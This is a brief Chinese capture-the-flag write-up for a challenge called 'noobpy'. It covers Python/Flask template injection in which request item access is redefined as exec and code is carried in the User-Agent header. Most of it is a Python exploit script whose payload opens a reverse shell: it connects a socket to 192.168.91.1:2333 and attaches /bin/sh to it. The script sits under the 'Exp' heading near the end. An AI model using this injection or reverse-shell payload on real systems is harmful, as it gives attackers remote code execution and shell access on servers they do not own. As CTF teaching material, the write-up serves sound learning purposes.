noobpy

点击此处获得更好的阅读体验


WriteUp来源

官方WP

题目考点

  • Flask模板注入

解题思路

发现

内存在命令注入

或者尝试报错也能发现。

将request的[]重载为exec实现命令执行,并且用UA头来注入

反弹shell拿到flag

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url ="http://192.168.31.51:6061/Equ.php"
s= requests.Session()
def exp(poc1,poc2):
data = {
"left":poc1+"1",
"right":"1"
}
header = {
"User-Agent":poc2
}
req = s.post(url,data=data,headers=header)
print req.text
#exp('__builtins__.eval=__builtins__.exec#',"xxx")
exp("request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string];",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.91.1",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')